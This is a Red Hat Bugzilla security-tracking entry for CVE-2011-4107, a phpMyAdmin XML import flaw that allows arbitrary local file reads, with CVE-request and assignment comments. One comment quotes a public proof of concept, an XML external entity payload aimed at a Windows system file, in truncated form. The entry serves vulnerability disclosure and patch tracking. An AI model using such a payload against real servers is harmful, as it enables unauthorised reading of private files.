Bug 751112 - (CVE-2011-4107) CVE-2011-4107 phpMyAdmin: Arbitrary file read flaw by loading XML strings
CVE-2011-4107 phpMyAdmin: Arbitrary file read flaw by loading XML strings
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
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Assigned To: Red Hat Product Security
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Reported: 2011-11-03 10:57 EDT by Jan Lieskovsky
Modified: 2015-07-31 02:45 EDT (History)
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Last Closed: 2014-07-19 11:44:11 EDT
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Description Jan Lieskovsky 2011-11-03 10:57:10 EDT
A local file inclusion flaw was found in the way XML import plug-in of phpMyAdmin, a tool written in PHP intended to handle the administration of MySQL over the World Wide Web, performed import of malformed XML files. A remote attacker could provide a specially-crafted XML file, which once imported into the phpMyAdmin service instance would lead to arbitrary local file (accessible with the privileges of the phpMyAdmin user) read / retrieval.

[1] http://seclists.org/fulldisclosure/2011/Nov/21
[2] http://www.wooyun.org/bugs/wooyun-2010-03185
Comment 1 Jan Lieskovsky 2011-11-03 11:12:41 EDT
CVE request:
[3] http://www.openwall.com/lists/oss-security/2011/11/03/3
Comment 2 Jan Lieskovsky 2011-11-03 11:14:21 EDT
Public PoC from [1] (for Microsoft Windows OS though):

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE wooyun [

  <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">


<pma_xml_export version="1.0" xmlns:pma="


    - Structure schemas



        <pma:database name="test" collation="utf8_general_ci"

            <pma:table name="ts_ad">






    - 数据库: 'thinksns'


    <database name="thinksns">

        <!-- 表 ts_ad -->


Comment 3 Jan Lieskovsky 2011-11-03 11:15:23 EDT
Regarding upstream patches (not sure phpMyAdmin upstream provided a changeset for this issue already, since it was reported two days ago). Cc-ed them on the CVE request for further patch information.
Comment 4 Vincent Danen 2011-11-04 00:31:49 EDT
This has been assigned the name CVE-2011-4107:


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